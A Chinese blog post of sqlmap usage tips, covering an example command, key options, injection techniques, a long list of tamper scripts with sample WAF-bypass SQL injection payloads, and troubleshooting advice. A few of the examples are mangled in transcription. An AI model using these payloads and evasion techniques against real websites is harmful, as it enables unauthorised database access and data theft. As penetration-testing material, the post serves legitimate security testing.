1. 程式人生 > >sqlmap常用技巧整理

sqlmap常用技巧整理

ref lda title o-c cto 添加 hex 之前 暴力

通過在烏雲網上出現的很多SQL註入漏洞,因此來總結一下,大致使用SQLMAP所遇到的參數。

基本結構

  基本SQLMAP的使用方式就如下所示,使用參數式的方式,按需求添加。

1
2
sqlmap.py -u "http:// *"  --data="a=b" -p a   --level 3 --random-agent --referer="a" 
--technique T --dbms=mysql --cookie="cookie" --tables

參數解釋

星號

  在註入的過程中,有時候是偽靜態的頁面,可以使用星號表示可能存在註入的部分

–data

  使用post方式提交的時候,就需要用到data參數了

-p

  當我們已經事先知道哪一個參數存在註入就可以直接使用-p來指定,從而減少運行時間

–level

  不同的level等級,SQLMAP所采用的策略也不近相同,當–level的參數設定為2或者2以上的時候,sqlmap會嘗試註入Cookie參數;當–level參數設定為3或者3以上的時候,會嘗試對User-Angent,referer進行註入。

–random-agent

  使用該參數,SQLMAP會自動的添加useragent參數,如果你知道它要求你用某一種agent,你也應當用user-agent選項自己指定所需的agent

–technique

  這個參數可以指定SQLMAP使用的探測技術,默認情況下會測試所有的方式。

  支持的探測方式如下:

  B: Boolean-based blind SQL injection(布爾型註入)
  E: Error-based SQL injection(報錯型註入)
  U: UNION query SQL injection(可聯合查詢註入)
  S: Stacked queries SQL injection(可多語句查詢註入)
  T: Time-based blind SQL injection(基於時間延遲註入)

–tamper

  有些時候網站會過濾掉各種字符,可以用tamper來解決(對付某些waf時也有成效)
  –tamper=”space2comment.py”
  理論是用/**/代替空格,當然temper的選項還有很多

  • apostrophemask.py

  作用:用utf8代替引號

  • equaltolike.py

  作用:like 代替等號

  Example:

1
2
3
Input: SELECT * FROM users WHERE id=1

Output: SELECT * FROM users WHERE id LIKE 1

  • space2dash.py

  作用:繞過過濾‘=’ 替換空格字符(”),(’ – ‘)後跟一個破折號註釋,一個隨機字符串和一個新行(’ n’)
  Example:

1
(‘1 AND 9227=9227‘) ‘1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227‘

  • greatest.py

  作用:繞過過濾’>’ ,用GREATEST替換大於號。
  Example:

1
(‘1 AND A > B‘) ‘1 AND GREATEST(A,B+1)=A‘

  • space2hash.py

  作用:空格替換為#號 隨機字符串 以及換行符

  Example:

1
2
Input: 1 AND 9227=9227
Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
  • apostrophenullencode.py

  作用:繞過過濾雙引號,替換字符和雙引號。
  Example:

1
tamper("1 AND ‘1‘=‘1") ‘1 AND %00%271%00%27=%00%271‘

  • halfversionedmorekeywords.py

  作用:當數據庫為mysql時繞過防火墻,每個關鍵字之前添加mysql版本評論

  Example:

1
2
3
("value‘ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() 
AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa‘=‘QDWa")
 "value‘/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND ‘QDWa‘=‘QDWa"

  • space2morehash.py

  作用:空格替換為 #號 以及更多隨機字符串 換行符

  Example:

1
2
3
Input: 1 AND 9227=9227 

Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

  • appendnullbyte.py

 作用:在有效負荷結束位置加載零字節字符編碼
 Example:

1
(‘1 AND 1=1‘) ‘1 AND 1=1%00‘

  常用於access

  • ifnull2ifisnull.py

 作用:繞過對 IFNULL 過濾。 替換類似’IFNULL(A, B)’為’IF(ISNULL(A), B, A)’
Example:

1
(‘IFNULL(1, 2)‘) ‘IF(ISNULL(1),2,1)‘

  • space2mssqlblank.py(mssql)

  作用:空格替換為其它空符號

  Example:

1
2
Input: SELECT id FROM users * 
Output: SELECT%08id%02FROM%0Fusers

  • base64encode.py

  作用:用base64編碼替換 Example: (“1’ AND SLEEP(5)#”) ‘MScgQU5EIFNMRUVQKDUpIw==’ Requirement: all

  • space2mssqlhash.py

  作用:替換空格

  Example:

1
(‘1 AND 9227=9227‘) ‘1%23%0AAND%23%0A9227=9227‘

  • modsecurityversioned.py

  作用:過濾空格,包含完整的查詢版本註釋

  Example:

1
(‘1 AND 2>1--‘) ‘1 /*!30874AND 2>1*/--‘
  • space2mysqlblank.py

  作用:空格替換其它空白符號(mysql)

  Example:

1
2
3
 Input: SELECT id FROM users 

 Output: SELECT%0Bid%0BFROM%A0users

  • between.py

  作用:用between替換大於號(>)

  Example:

1
(‘1 AND A > B--‘) ‘1 AND A NOT BETWEEN 0 AND B--‘

  • space2mysqldash.py

  作用:替換空格字符(”)(’ – ‘)後跟一個破折號註釋一個新行(’ n’)

註:之前有個mssql的 這個是mysql的

  Example:

1
(‘1 AND 9227=9227‘) ‘1--%0AAND--%0A9227=9227‘

  • multiplespaces.py

  作用:圍繞SQL關鍵字添加多個空格

  Example:

1
(‘1 UNION SELECT foobar‘) ‘1 UNION SELECT foobar‘

  • :space2plus.py

  作用:用+替換空格

  Example:

1
(‘SELECT id FROM users‘) ‘SELECT+id+FROM+users‘

  • bluecoat.py

  作用:代替空格字符後與一個有效的隨機空白字符的SQL語句。 然後替換=為like

  Example:

1
(‘SELECT id FROM users where id = 1‘) ‘SELECT%09id FROM users where id LIKE 1‘

  • nonrecursivereplacement.py

  雙重查詢語句。取代predefined SQL關鍵字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters

  Example:

1
(‘1 UNION SELECT 2--‘) ‘1 UNIOUNIONN SELESELECTCT 2--‘

  • space2randomblank.py

  作用:代替空格字符(“”)從一個隨機的空白字符可選字符的有效集

  Example:

1
(‘SELECT id FROM users‘) ‘SELECT%0Did%0DFROM%0Ausers‘

  • sp_password.py

  作用:追加sp_password’從DBMS日誌的自動模糊處理的有效載荷的末尾

  Example:

1
(‘1 AND 9227=9227-- ‘) ‘1 AND 9227=9227-- sp\_password‘

  • chardoubleencode.py

  作用: 雙url編碼(不處理以編碼的)

  Example:

1
2
3
Input: SELECT FIELD FROM%20TABLE 

Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

  • unionalltounion.py

  作用:替換UNION ALL SELECT UNION SELECT

  Example:

1
(‘-1 UNION ALL SELECT‘) ‘-1 UNION SELECT‘

  • charencode.py

  作用:url編碼
  Example:

1
2
3
Input: SELECT FIELD FROM%20TABLE

Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

  • randomcase.py

  作用:隨機大小寫 Example:

1
2
Input: INSERT
Output: InsERt

  • unmagicquotes.py

  作用:寬字符繞過 GPC addslashes

  Example:

1
2
3
Input: 1′ AND 1=1 

Output: 1%bf%27 AND 1=1–%20

  • randomcomments.py

  作用:用/**/分割sql關鍵字

  Example:

1
‘INSERT’ becomes ‘IN//S//ERT’

  • charunicodeencode.py

  作用:字符串 unicode 編碼

  Example:

1
2
3
Input: SELECT FIELD%20FROM TABLE 

Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′

  • securesphere.py

  作用:追加特制的字符串

  Example:

1
(‘1 AND 1=1‘) "1 AND 1=1 and ‘0having‘=‘0having‘"

  • versionedmorekeywords.py

  作用:註釋繞過

  Example:

1
2
3
Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))# 

Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#

  • space2comment.py
      作用:Replaces space character (‘ ‘) with comments ‘/**/’

  Example:

1
2
3
Input: SELECT id FROM users 

Output: SELECT//id//FROM/**/users

  • halfversionedmorekeywords.py

  作用:關鍵字前加註釋

  Example:

1
2
3
Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=‘QDWa 

Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’=‘QDWa

有時發現跑出的數據都是毫無意義的字符

解決方案:

  a)SQLMAP會提示你加–hex或者–no-cast,有時會有幫助
  b)如果你用的是time-based註射,建議增加延時–time-sec等參數,即使你的網速比較好,但是服務器可能遇見各種奇怪環境
  c)增加level的數值

暴力猜表

  針對access站可以構造common-tables.txt

顯示unable to connect to the target url

  第一個可能是time-out設置的太小,出現問題,再有可能就是WAF直接把請求攔截掉了,因此得不到響應。

有些waf比較友善,過濾後會提示“參數不合法”,但是也有些waf則直接把請求攔下來無提示導致應答超時,這樣在測試時會消耗大量的時間等待響應

  解決方案:減少time-out進行檢測,在跑數據時改回time-out

提示possible integer casting detected

  如果是在手工測試,建議到這裏可以停止了,節省時間。

  如果是在掃描器掃描的盲註,那麽到這裏堅決無視警告繼續下去。

參考文獻:

  http://drops.wooyun.org/tools/4760
  http://drops.wooyun.org/tips/143
  http://www.2cto.com/Article/201306/223082.html
  http://drops.wooyun.org/tips/5254

本文標題:sqlmap常用技巧整理

文章作者:Sherwel

發布時間:2016-02-25, 09:15:45

最後更新:2017-03-22, 00:12:08

原始鏈接:https://nanshihui.github.io/2016/02/25/sqlmaptips/

許可協議: "署名-非商用-相同方式共享 4.0" 轉載請保留原文鏈接及作者。

sqlmap常用技巧整理